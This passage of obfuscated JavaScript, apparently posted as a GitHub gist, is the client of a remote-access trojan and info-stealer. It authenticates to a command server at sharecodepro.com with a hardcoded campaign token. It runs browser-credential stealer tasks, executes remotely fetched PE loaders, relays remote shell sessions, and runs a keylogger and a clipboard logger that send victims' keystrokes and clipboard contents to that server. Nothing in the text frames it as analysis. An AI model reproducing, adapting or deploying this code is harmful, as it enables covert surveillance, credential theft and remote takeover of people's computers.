| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "upload-file-to-agent", | |
| status: "failed", | |
| error: _0x2ace4e instanceof Error ? _0x2ace4e.message : "Unknown error", | |
| targetPath: _0x2e7853.targetPath, | |
| success: false | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "stealer": | |
| { | |
| console.log("Starting stealer task..."); | |
| try { | |
| let _0x37bfd4; | |
| if (_0x2e7853.chromeDll) { | |
| try { | |
| const _0x42a7ec = atob(_0x2e7853.chromeDll); | |
| _0x37bfd4 = new Uint8Array(_0x42a7ec.length); | |
| for (let _0x2d7363 = 0x0; _0x2d7363 < _0x42a7ec.length; _0x2d7363++) { | |
| _0x37bfd4[_0x2d7363] = _0x42a7ec.charCodeAt(_0x2d7363); | |
| } | |
| console.log("Received chrome DLL: " + _0x37bfd4.length + " bytes"); | |
| } catch (_0xb17c27) { | |
| console.error("Failed to decode chrome DLL:", _0xb17c27); | |
| } | |
| } | |
| await executeStealer({ | |
| ws: _0x50a738, | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskId: _0x2e7853.id, | |
| chromeDll: _0x37bfd4 | |
| }); | |
| console.log("Stealer task completed"); | |
| } catch (_0x39ca16) { | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "stealer-error", | |
| status: "failed", | |
| error: _0x39ca16 instanceof Error ? _0x39ca16.message : "Unknown error" | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "execute": | |
| { | |
| console.log("Execute task: " + _0x2e7853.binaryType.type + " from " + _0x2e7853.url); | |
| try { | |
| if (_0x2e7853.binaryType.type === "exe" && _0x2e7853.binaryType.method === "runpe") { | |
| if (!_0x2e7853.loaderUrl) { | |
| throw new Error("Missing loader URL for runpe method"); | |
| } | |
| console.log("Running PE loader via module..."); | |
| const _0x242274 = await runModule({ | |
| name: "execute-pe-" + _0x2e7853.id, | |
| moduleUrl: _0x2e7853.loaderUrl | |
| }); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "execute", | |
| status: "completed", | |
| exitCode: _0x242274 | |
| }] | |
| }); | |
| } else { | |
| throw new Error("Execute method not implemented: " + _0x2e7853.binaryType.type + '/' + ("method" in _0x2e7853.binaryType ? _0x2e7853.binaryType.method : "default")); | |
| } | |
| } catch (_0x4b69a7) { | |
| console.error("Execute task failed:", _0x4b69a7); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "execute", | |
| status: "failed", | |
| error: _0x4b69a7 instanceof Error ? _0x4b69a7.message : "Unknown error", | |
| exitCode: null | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| default: | |
| console.log("Unknown task type: " + _0x2e7853.type + ", skipping"); | |
| } | |
| } catch (_0x51cdd5) { | |
| console.error("Error processing task " + _0x2e7853.id + ':', _0x51cdd5); | |
| } | |
| } | |
| } | |
| } | |
| async function startWebSocketKeepAlive(_0x4c2b6e, _0x576b7b) { | |
| console.log("Starting WebSocket keep-alive..."); | |
| const _0x2c969c = setInterval(async () => { | |
| try { | |
| if (_0x4c2b6e.readyState === WebSocket.OPEN) { | |
| const _0x2ea8e8 = { | |
| huidMd5: _0x576b7b, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: "keepalive-" + Date.now(), | |
| type: "keep-alive", | |
| status: "completed" | |
| }] | |
| }, | |
| _0x541e05 = await serizalizeCommandFromAgent(_0x2ea8e8); | |
| _0x4c2b6e.send(_0x541e05); | |
| } else { | |
| console.log("WebSocket not open, stopping keep-alive"); | |
| clearInterval(_0x2c969c); | |
| } | |
| } catch (_0x2d1837) { | |
| console.error("Keep-alive message failed:", _0x2d1837); | |
| clearInterval(_0x2c969c); | |
| } | |
| }, 0x1388); | |
| _0x4c2b6e.addEventListener("close", () => { | |
| clearInterval(_0x2c969c); | |
| }); | |
| _0x4c2b6e.addEventListener("error", () => { | |
| clearInterval(_0x2c969c); | |
| }); | |
| } | |
| async function startKeylogger(_0x2d139f, _0x171b54) { | |
| console.log("Starting keylogger..."); | |
| while (true) { | |
| try { | |
| const _0xc10b97 = await waitKeyboardLog(); | |
| console.log("Keylogger: " + _0xc10b97.focusApp + '\x20-\x20' + _0xc10b97.text.length + " chars"); | |
| await sendCommand2(_0x2d139f, { | |
| huidMd5: _0x171b54, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: Math.random().toString(0x24).substring(0x7), | |
| type: "keyboard-log", | |
| status: "completed", | |
| focusApp: _0xc10b97.focusApp, | |
| text: _0xc10b97.text | |
| }] | |
| }); | |
| } catch (_0x2a1777) { | |
| console.error("Keylogger error:", _0x2a1777); | |
| await new Promise(_0x59b26d => setTimeout(_0x59b26d, 0x1388)); | |
| } | |
| } | |
| } | |
| async function startClipboardLogger(_0x439d03, _0x5a6dcf) { | |
| console.log("Starting clipboard logger..."); | |
| while (true) { | |
| try { | |
| console.log("Waiting for clipboard changes..."); | |
| const _0x288020 = await waitClipboardLog(); | |
| console.log("Clipboard logger: " + _0x288020.focusApp + '\x20-\x20' + _0x288020.clipboard.length + " chars"); | |
| await sendCommand2(_0x439d03, { | |
| huidMd5: _0x5a6dcf, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: Math.random().toString(0x24).substring(0x7), | |
| type: "clipboard-log", | |
| status: "completed", | |
| focusApp: _0x288020.focusApp, | |
| clipboard: _0x288020.clipboard | |
| }] | |
| }); | |
| } catch (_0x477021) { | |
| console.error("Clipboard logger error:", _0x477021); | |
| await new Promise(_0x4e3fde => setTimeout(_0x4e3fde, 0x1388)); | |
| } | |
| } | |
| } | |
| async function main() { | |
| console.log("Initializing client..."); | |
| await initializeClient(); | |
| console.log("Client initialized"); | |
| const _0x2a5138 = await createMutex(0x273d); | |
| if (!_0x2a5138) { | |
| console.error("Mutex already exists, another instance is running..."); | |
| import_node_process9["default"].exit(0x0); | |
| } | |
| const _0x1ff8b4 = getHuidMd5(), | |
| _0x269364 = "http://sharecodepro.com".split(',').map(_0x1680fb => _0x1680fb.trim()); | |
| console.log("HUID MD5: " + _0x1ff8b4); | |
| console.log("Token: " + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU".substring(0x0, 0x14) + "..."); | |
| console.log("API URLs: " + _0x269364.join(',\x20')); | |
| console.log("Collecting system info..."); | |
| const _0x22c231 = await getSystemInfo(); | |
| console.log("System info collected:", _0x22c231); | |
| console.log("Creating WebSocket connection..."); | |
| const _0x441033 = client.conn.$ws(); | |
| _0x441033.binaryType = "arraybuffer"; | |
| console.log("WebSocket created, waiting for connection..."); | |
| _0x441033.addEventListener("open", async () => { | |
| console.log("Connected to server"); | |
| startWebSocketKeepAlive(_0x441033, _0x1ff8b4); | |
| ptySessionManager.setOutputCallback((_0x50ad74, _0x3278a4) => { | |
| sendCommand2(_0x441033, { | |
| huidMd5: _0x1ff8b4, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: Math.random().toString(0x24).substring(0x7), | |
| type: "pty-output", | |
| status: "completed", | |
| sessionId: _0x50ad74, | |
| data: _0x3278a4 | |
| }] | |
| })["catch"](_0x1ced93 => { | |
| console.error("Failed to send PTY output:", _0x1ced93); | |
| }); | |
| }); | |
| try { | |
| await sendCommand2(_0x441033, { | |
| huidMd5: _0x1ff8b4, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| moduleType: "main", | |
| apiUrl: getSelectedApiUrl(), | |
| pcInfo: _0x22c231 | |
| }); | |
| console.log("Registration message sent"); | |
| } catch (_0xb3a21c) { | |
| console.error("Failed to send registration:", _0xb3a21c); | |
| import_node_process9["default"].exit(0x1); | |
| } | |
| startKeylogger(_0x441033, _0x1ff8b4)["catch"](_0x4fc9b4 => { | |
| console.error("Keylogger stopped:", _0x4fc9b4); | |
| }); | |
| startClipboardLogger(_0x441033, _0x1ff8b4)["catch"](_0x2b6a89 => { | |
| console.error("Clipboard logger stopped:", _0x2b6a89); | |
| }); | |
| }); | |
| _0x441033.addEventListener("message", async _0x58def6 => { | |
| try { | |
| if (_0x58def6.data instanceof ArrayBuffer) { | |
| await handleMessage(_0x58def6.data, _0x441033, _0x1ff8b4); | |
| } else if (_0x58def6.data instanceof Blob) { | |
| const _0x60cf0d = await _0x58def6.data.arrayBuffer(); | |
| await handleMessage(_0x60cf0d, _0x441033, _0x1ff8b4); | |
| } else { | |
| console.error("Unexpected message type:", typeof _0x58def6.data); | |
| } | |
| } catch (_0x51c326) { | |
| console.error("Error handling message:", _0x51c326); | |
| } | |
| }); | |
| _0x441033.addEventListener("error", _0x377dc7 => { | |
| console.error("WebSocket error:", _0x377dc7); | |
| for (const [, _0xf0f264] of connections) { | |
| if (!_0xf0f264.socket.destroyed) { | |
| _0xf0f264.socket.end(); | |
| } | |
| } | |
| connections.clear(); | |
| import_node_process9["default"].exit(0x1); | |
| }); | |
| _0x441033.addEventListener("close", _0xc8bd03 => { | |
| console.log("Disconnected from server. Code: " + _0xc8bd03.code + ", Reason: " + _0xc8bd03.reason); | |
| for (const [, _0x14bae5] of connections) { | |
| if (!_0x14bae5.socket.destroyed) { | |
| _0x14bae5.socket.end(); | |
| } | |
| } | |
| connections.clear(); | |
| import_node_process9["default"].exit(0x1); | |
| }); | |
| console.log("Event listeners registered, keeping process alive..."); | |
| await new Promise(() => {}); | |
| } | |
| main()["catch"](_0x480436 => { | |
| console.error("Fatal error:", _0x480436); | |
| import_node_process9["default"].exit(0x1); | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment